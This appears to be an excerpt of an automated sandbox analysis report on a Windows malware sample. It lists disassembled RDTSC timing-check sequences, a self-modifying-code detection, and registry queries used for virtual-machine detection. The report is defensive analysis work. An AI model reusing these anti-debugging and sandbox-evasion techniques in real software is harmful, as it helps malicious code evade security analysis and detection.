Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10BE second address: 78B10D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 3DD263B4h 0x00000008 movsx edx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e lock cmpxchg dword ptr [edx], ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10D6 second address: 78B10DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10DA second address: 78B10DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10DE second address: 78B10E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10E4 second address: 78B10EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10EA second address: 78B10EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10EE second address: 78B10F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B10F2 second address: 78B1144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FA94CE93533h 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007FA94CE93539h 0x00000018 sbb cx, 1A36h 0x0000001d jmp 00007FA94CE93531h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1144 second address: 78B11BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c jmp 00007FA94CE9192Ch 0x00000011 mov ebx, esi 0x00000013 popad 0x00000014 jne 00007FA9BCABFE97h 0x0000001a jmp 00007FA94CE9192Ch 0x0000001f mov edx, dword ptr [ebp+08h] 0x00000022 jmp 00007FA94CE91930h 0x00000027 mov eax, dword ptr [esi] 0x00000029 jmp 00007FA94CE91930h 0x0000002e mov dword ptr [edx], eax 0x00000030 jmp 00007FA94CE91930h 0x00000035 mov eax, dword ptr [esi+04h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B11BC second address: 78B11F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA94CE93533h 0x0000000a adc si, CF8Eh 0x0000000f jmp 00007FA94CE93539h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B11F4 second address: 78B121B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA94CE9192Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B121B second address: 78B1259 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 543FA002h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA94CE93531h 0x00000017 adc si, C3D6h 0x0000001c jmp 00007FA94CE93531h 0x00000021 popfd 0x00000022 mov bx, ax 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1259 second address: 78B127D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 67F6285Eh 0x00000008 call 00007FA94CE9192Fh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [edx+08h], eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 movsx ebx, ax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B127D second address: 78B12F1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA94CE9352Ch 0x00000008 or ch, 00000058h 0x0000000b jmp 00007FA94CE9352Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 call 00007FA94CE93538h 0x00000018 mov di, si 0x0000001b pop esi 0x0000001c popad 0x0000001d mov eax, dword ptr [esi+0Ch] 0x00000020 jmp 00007FA94CE9352Dh 0x00000025 mov dword ptr [edx+0Ch], eax 0x00000028 pushad 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b mov ax, dx 0x0000002e popad 0x0000002f mov eax, dword ptr [esi+10h] 0x00000032 jmp 00007FA94CE93531h 0x00000037 mov dword ptr [edx+10h], eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B12F1 second address: 78B12F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B12F5 second address: 78B1308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1308 second address: 78B130E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B130E second address: 78B1312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1312 second address: 78B1329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA94CE9192Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1329 second address: 78B13A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 pushfd 0x00000007 jmp 00007FA94CE9352Dh 0x0000000c adc ax, F6C6h 0x00000011 jmp 00007FA94CE93531h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [edx+14h], eax 0x0000001d jmp 00007FA94CE9352Eh 0x00000022 mov eax, dword ptr [esi+18h] 0x00000025 pushad 0x00000026 push ecx 0x00000027 mov eax, edx 0x00000029 pop edx 0x0000002a jmp 00007FA94CE93536h 0x0000002f popad 0x00000030 mov dword ptr [edx+18h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FA94CE93537h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B13A3 second address: 78B141D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE91932h 0x00000009 or eax, 391FBF58h 0x0000000f jmp 00007FA94CE9192Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [esi+1Ch] 0x0000001b jmp 00007FA94CE91936h 0x00000020 mov dword ptr [edx+1Ch], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 jmp 00007FA94CE9192Dh 0x0000002b pushfd 0x0000002c jmp 00007FA94CE91930h 0x00000031 adc cx, 8418h 0x00000036 jmp 00007FA94CE9192Bh 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B141D second address: 78B1490 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+20h] 0x0000000c jmp 00007FA94CE9352Eh 0x00000011 mov dword ptr [edx+20h], eax 0x00000014 pushad 0x00000015 mov di, si 0x00000018 movzx eax, di 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+24h] 0x0000001f jmp 00007FA94CE93535h 0x00000024 mov dword ptr [edx+24h], eax 0x00000027 jmp 00007FA94CE9352Eh 0x0000002c mov eax, dword ptr [esi+28h] 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FA94CE9352Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1490 second address: 78B149F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B149F second address: 78B150E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+28h], eax 0x0000000c jmp 00007FA94CE9352Eh 0x00000011 mov ecx, dword ptr [esi+2Ch] 0x00000014 jmp 00007FA94CE93530h 0x00000019 mov dword ptr [edx+2Ch], ecx 0x0000001c jmp 00007FA94CE93530h 0x00000021 mov ax, word ptr [esi+30h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007FA94CE9352Dh 0x0000002d pop eax 0x0000002e mov edx, 5BC3AE34h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B150E second address: 78B159A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, A5FFh 0x00000007 jmp 00007FA94CE91934h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov word ptr [edx+30h], ax 0x00000013 jmp 00007FA94CE91930h 0x00000018 mov ax, word ptr [esi+32h] 0x0000001c jmp 00007FA94CE91930h 0x00000021 mov word ptr [edx+32h], ax 0x00000025 jmp 00007FA94CE91930h 0x0000002a mov eax, dword ptr [esi+34h] 0x0000002d jmp 00007FA94CE91930h 0x00000032 mov dword ptr [edx+34h], eax 0x00000035 jmp 00007FA94CE91930h 0x0000003a test ecx, 00000700h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B159A second address: 78B15A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B15A0 second address: 78B15E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE91932h 0x00000009 and esi, 46B3E638h 0x0000000f jmp 00007FA94CE9192Bh 0x00000014 popfd 0x00000015 mov ebx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jne 00007FA9BCABFA70h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA94CE91931h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B15E6 second address: 78B1655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007FA94CE93533h 0x0000000b jmp 00007FA94CE93533h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 or dword ptr [edx+38h], FFFFFFFFh 0x00000018 pushad 0x00000019 jmp 00007FA94CE93534h 0x0000001e mov dx, si 0x00000021 popad 0x00000022 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FA94CE9352Ah 0x0000002d add ah, FFFFFF88h 0x00000030 jmp 00007FA94CE9352Bh 0x00000035 popfd 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B1655 second address: 78B1692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 39B3221Bh 0x00000009 popad 0x0000000a popad 0x0000000b or dword ptr [edx+40h], FFFFFFFFh 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007FA94CE91936h 0x0000001b add ax, AA18h 0x00000020 jmp 00007FA94CE9192Bh 0x00000025 popfd 0x00000026 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BB3 second address: 7900BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BB7 second address: 7900BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BBB second address: 7900BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BC1 second address: 7900BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BD6 second address: 7900BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BDA second address: 7900BF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91939h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BF7 second address: 7900BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900BFD second address: 7900C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900C01 second address: 7900C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA94CE93535h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900C21 second address: 7900C50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, 27h 0x0000000d mov esi, edx 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007FA94CE9192Bh 0x00000017 pop ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7900C50 second address: 7900C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78A06CB second address: 78A072D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA94CE91935h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FA94CE91931h 0x0000000f sbb ax, E7D6h 0x00000014 jmp 00007FA94CE91931h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA94CE91938h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78A072D second address: 78A073C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78A073C second address: 78A0742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78A0742 second address: 78A0746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78A0746 second address: 78A0759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop edx 0x0000000f movzx esi, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840025 second address: 7840029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840029 second address: 784002F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 784002F second address: 7840067 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA94CE9352Ch 0x00000013 sbb ecx, 3911D368h 0x00000019 jmp 00007FA94CE9352Bh 0x0000001e popfd 0x0000001f mov edi, ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840067 second address: 7840092 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 1Ah 0x00000005 mov ax, 2BF3h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FA94CE91936h 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840784 second address: 784079C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE93534h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840BD3 second address: 7840C36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov di, 827Eh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e mov bx, ax 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 jmp 00007FA94CE91936h 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov dx, ax 0x00000020 pushfd 0x00000021 jmp 00007FA94CE9192Ah 0x00000026 or cx, 7CA8h 0x0000002b jmp 00007FA94CE9192Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FA94CE91930h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7840C36 second address: 7840C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7890B29 second address: 7890B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE9192Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7890B39 second address: 7890B3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7890B3D second address: 7890B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushad 0x0000000b mov ax, 19EFh 0x0000000f movzx esi, dx 0x00000012 popad 0x00000013 pushad 0x00000014 movsx edx, cx 0x00000017 mov ah, 5Ch 0x00000019 popad 0x0000001a popad 0x0000001b mov dword ptr [esp], ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA94CE9192Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7890B6B second address: 7890BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE93531h 0x00000009 sub cl, FFFFFFB6h 0x0000000c jmp 00007FA94CE93531h 0x00000011 popfd 0x00000012 mov bx, ax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FA94CE93538h 0x00000021 sbb ch, 00000008h 0x00000024 jmp 00007FA94CE9352Bh 0x00000029 popfd 0x0000002a jmp 00007FA94CE93538h 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FA94CE93537h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 787012F second address: 7870205 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA94CE91937h 0x00000008 pop esi 0x00000009 mov ecx, edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA94CE9192Eh 0x00000016 adc esi, 4F047158h 0x0000001c jmp 00007FA94CE9192Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esp], edi 0x00000026 jmp 00007FA94CE91935h 0x0000002b mov edi, dword ptr [ebp+08h] 0x0000002e jmp 00007FA94CE9192Eh 0x00000033 mov dword ptr [esp+24h], 00000000h 0x0000003b jmp 00007FA94CE91930h 0x00000040 lock bts dword ptr [edi], 00000000h 0x00000045 jmp 00007FA94CE91930h 0x0000004a jc 00007FA9BCC63B90h 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FA94CE9192Eh 0x00000057 sbb ax, A078h 0x0000005c jmp 00007FA94CE9192Bh 0x00000061 popfd 0x00000062 mov bx, cx 0x00000065 popad 0x00000066 pop edi 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FA94CE9192Ch 0x00000070 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870205 second address: 7870209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870209 second address: 787020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 787020F second address: 7870215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870215 second address: 7870219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870219 second address: 7870234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA94CE9352Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870234 second address: 7870243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870243 second address: 7870267 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 7870267 second address: 787027A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 787027A second address: 78702BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93539h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b jmp 00007FA94CE9352Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007FA94CE9352Dh 0x00000019 pop eax 0x0000001a mov ecx, edx 0x0000001c popad 0x0000001d rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeSpecial instruction interceptor: First address: 13E56B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
